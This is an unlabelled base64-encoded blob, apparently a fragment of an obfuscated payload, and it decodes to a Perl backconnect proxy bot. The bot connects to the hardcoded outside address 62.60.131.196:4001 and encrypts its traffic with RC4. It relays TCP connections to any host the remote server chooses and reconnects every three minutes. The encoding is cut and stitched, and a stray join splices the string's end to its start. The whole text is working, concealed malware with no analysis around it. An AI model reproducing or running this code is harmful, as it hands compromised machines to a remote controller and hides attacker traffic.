9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTYnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCA